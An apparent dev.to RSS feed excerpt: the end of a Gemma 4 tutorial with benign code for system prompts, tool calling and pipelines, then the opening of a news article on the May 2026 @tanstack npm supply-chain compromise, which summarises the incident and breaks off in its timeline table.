    &lt;span class="na"&gt;model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;gemma4:26b&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;system&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;You are a senior backend developer. Review code for bugs, security issues, and performance problems. Be specific and concise.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Review this code:\n\n&lt;/span&gt;&lt;span class="se"&gt;\`\`\`&lt;/span&gt;&lt;span class="s2"&gt;js\n&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;\n&lt;/span&gt;&lt;span class="se"&gt;\`\`\`&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;max_tokens&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;800&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;choices&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This works because Gemma 4 has native system prompt support. In Gemma 3, the system role needed workarounds and inconsistent handling. Now it works exactly as the OpenAI API spec defines it.&lt;/p&gt;




&lt;h3&gt;
  
  
  Function Calling (The Agentic Part)
&lt;/h3&gt;

&lt;p&gt;For tool use, the correct approach is &lt;code&gt;AutoProcessor&lt;/code&gt; with &lt;code&gt;apply_chat_template&lt;/code&gt;, passing tools as an argument. This is documented in Google's official function calling guide at &lt;code&gt;ai.google.dev&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;transformers&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AutoProcessor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AutoModelForImageTextToText&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;

&lt;span class="n"&gt;MODEL_ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;google/gemma-4-E4B-it&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AutoModelForImageTextToText&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_pretrained&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;MODEL_ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;device_map&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;auto&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;torch_dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bfloat16&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;processor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AutoProcessor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_pretrained&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MODEL_ID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Define your tools as JSON schema
&lt;/span&gt;&lt;span class="n"&gt;tools&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;search_docs&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;description&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Search internal documentation for an answer&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;parameters&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;object&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;properties&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;query&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;string&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;description&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;The search query&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
                &lt;span class="p"&gt;},&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;max_results&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;integer&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;description&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Number of results to return&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;required&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;query&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;How do I reset my password in the admin panel?&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# Pass tools directly to apply_chat_template
&lt;/span&gt;&lt;span class="n"&gt;inputs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;processor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;apply_chat_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;tools&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tools&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;tokenize&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;return_dict&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;return_tensors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;add_generation_prompt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;input_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;input_ids&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;generate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_new_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;processor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;input_len&lt;/span&gt;&lt;span class="p"&gt;:],&lt;/span&gt; &lt;span class="n"&gt;skip_special_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Returns a structured tool call you parse, execute, then pass the result back
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For basic text inference with the pipeline API, Gemma 4 uses the &lt;code&gt;"any-to-any"&lt;/code&gt; task type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;transformers&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pipeline&lt;/span&gt;

&lt;span class="n"&gt;pipe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pipeline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;task&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;any-to-any&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;google/gemma-4-E4B-it&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;device_map&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;auto&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;auto&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Summarize this in 3 bullet points: [your text here]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_new_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;generated_text&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: the task type is &lt;code&gt;"any-to-any"&lt;/code&gt;, not &lt;code&gt;"text-generation"&lt;/code&gt;. Using the wrong task type is a common mistake when adapting older Gemma 3 code.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I'd Actually Use Each Model For in Client Projects
&lt;/h2&gt;

&lt;p&gt;Based on a week of real testing, here's how I'd map these to actual product use cases:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;E2B / E4B:&lt;/strong&gt; Offline-first mobile features. Smart reply suggestions. On-device document summarization where the user's data cannot leave the device. HIPAA-adjacent use cases where cloud AI is simply not an option.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;26B A4B:&lt;/strong&gt; This is the model I'd use for most backend AI features. A support ticket classifier. An internal knowledge base Q&amp;amp;A system. A code review step in a CI pipeline. A document analysis feature for a B2B SaaS tool. It's fast enough for interactive use, good enough for most tasks, and runs on hardware a small company can own outright.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;31B:&lt;/strong&gt; Fine-tuning for a specific domain. A legal document analyzer trained on a client's specific contract types. A customer support model trained on a company's historical tickets. Cases where you need the base model quality before fine-tuning and where inference latency is less critical than output quality.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Honest "When Not To Use It" Section
&lt;/h2&gt;

&lt;p&gt;Gemma 4 doesn't replace every cloud AI use case, and claiming otherwise would be overselling it.&lt;/p&gt;

&lt;p&gt;If your team has no GPU infrastructure and no plans to build any, Google AI Studio gives you hosted access to the 31B and 26B A4B with zero setup. Start there.&lt;/p&gt;

&lt;p&gt;If you need current information beyond January 2025, plan for RAG from day one. The model itself won't have it.&lt;/p&gt;

&lt;p&gt;If you're building something that needs the absolute frontier of reasoning capability, GPT-4o and Claude still lead on the hardest tasks. Gemma 4 is exceptionally strong for its size, but the top closed models still have an edge on the most complex multi-step reasoning.&lt;/p&gt;

&lt;p&gt;Where Gemma 4 wins is the space between "toy project" and "frontier reasoning." That space covers the majority of real product features most development teams are actually building.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where the Open Model Story Is Heading
&lt;/h2&gt;

&lt;p&gt;Gemma 4's real significance isn't any single benchmark number. It's that the capability-to-hardware ratio has crossed a threshold.&lt;/p&gt;

&lt;p&gt;A model that runs on a 16 GB desktop, handles 256K context that actually retrieves correctly, does structured tool calling natively, processes images and audio, supports 140+ languages, and ships under Apache 2.0 — that's a different product decision than anything that existed a year ago.&lt;/p&gt;

&lt;p&gt;The 400 million Gemma downloads across all versions, and the 100,000+ community-built variants that followed, suggest developers were waiting for exactly this. A model good enough to build on, free enough to ship, small enough to run.&lt;/p&gt;

&lt;p&gt;Gemma 4 is that model. For a lot of product builders, this is the point where "local AI" stops being a research interest and starts being a line item in a project estimate.&lt;/p&gt;




&lt;h2&gt;
  
  
  Start Here
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No setup:&lt;/strong&gt; &lt;a href="https://aistudio.google.com" rel="noopener noreferrer"&gt;Google AI Studio&lt;/a&gt; — hosted 31B and 26B A4B, free to start&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Local CLI:&lt;/strong&gt; &lt;a href="https://ollama.com" rel="noopener noreferrer"&gt;Ollama&lt;/a&gt; — &lt;code&gt;ollama run gemma4:e4b&lt;/code&gt; and you're running&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Local GUI:&lt;/strong&gt; &lt;a href="https://lmstudio.ai" rel="noopener noreferrer"&gt;LM Studio&lt;/a&gt; — point and click, no terminal needed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Direct weights:&lt;/strong&gt; Hugging Face — &lt;code&gt;google/gemma-4-31B-it&lt;/code&gt;, &lt;code&gt;google/gemma-4-26B-A4B-it&lt;/code&gt;, &lt;code&gt;google/gemma-4-E4B-it&lt;/code&gt;, &lt;code&gt;google/gemma-4-E2B-it&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you're starting today: pull &lt;code&gt;gemma4:e4b&lt;/code&gt; on Ollama, set &lt;code&gt;num_ctx&lt;/code&gt; to at least 8192, and test it on a task you actually need solved. That's more useful than reading another benchmark comparison.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;What are you building with Gemma 4? Drop your use case in the comments. Especially interested in anyone using E2B or E4B for on-device features.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>gemmachallenge</category>
      <category>gemma</category>
    </item>
    <item>
      <title>42 @tanstack/* Packages Were Compromised on npm: What Happened, How It Works, and What You Must Do Right Now</title>
      <dc:creator>VIKAS</dc:creator>
      <pubDate>Wed, 13 May 2026 10:13:58 +0000</pubDate>
      <link>https://dev.to/devcodehub99/42-tanstack-packages-were-compromised-on-npm-what-happened-how-it-works-and-what-you-must-do-2kbk</link>
      <guid>https://dev.to/devcodehub99/42-tanstack-packages-were-compromised-on-npm-what-happened-how-it-works-and-what-you-must-do-2kbk</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; On May 11, 2026, 84 malicious versions across 42 &lt;code&gt;@tanstack/*&lt;/code&gt; packages were live on npm for ~20 minutes. No npm tokens were stolen. No accounts were compromised. The attacker hijacked TanStack's own GitHub Actions release pipeline using three chained vulnerabilities and published malware through the project's trusted OIDC identity. If your CI ran &lt;code&gt;npm install&lt;/code&gt; on May 11, treat every secret it had access to as stolen.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The Router Package Powering 12 Million Projects Just Got Weaponized
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;@tanstack/react-router&lt;/code&gt; has over &lt;strong&gt;12.7 million weekly downloads&lt;/strong&gt;. It's in production React apps across the world, from solo founders shipping MVPs to enterprise teams running critical infrastructure. On the evening of May 11, 2026, it became a credential-stealing worm.&lt;/p&gt;

&lt;p&gt;This was not a theoretical supply chain risk. This was live malware, published through a &lt;strong&gt;cryptographically valid, SLSA-attested release pipeline&lt;/strong&gt;, that ran silently in CI environments and self-propagated to every other npm package its victims maintained.&lt;/p&gt;

&lt;p&gt;The most chilling part? Every security signal said the packages were clean. &lt;strong&gt;Valid Sigstore provenance. SLSA Build Level 3 attestation. 2FA on every maintainer. OIDC trusted publishing. All green. All meaningless.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This article covers exactly what happened, how the attack technically worked, how to know if you're affected, and what you permanently change in your workflow after this.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Happened: The Attack Timeline
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp (UTC)&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 11 · ~19:10&lt;/td&gt;
&lt;td&gt;Attacker's fork PR triggers &lt;code&gt;pull_request_target&lt;/code&gt; workflow, cache poisoned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 11 · 19:20&lt;/td&gt;
&lt;td&gt;First malicious &lt;code&gt;@tanstack/*&lt;/code&gt; publish hits npm registry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 11 · 19:26&lt;/td&gt;
&lt;td&gt;All 84 malicious artifacts across 42 packages published in 6 minutes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 11 · ~19:40&lt;/td&gt;
&lt;td&gt;External researcher &lt;code&gt;ashishkurmi&lt;/code&gt; (StepSecurity) opens GitHub issue #7383 with full analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 11 · 19:46&lt;/td&gt;
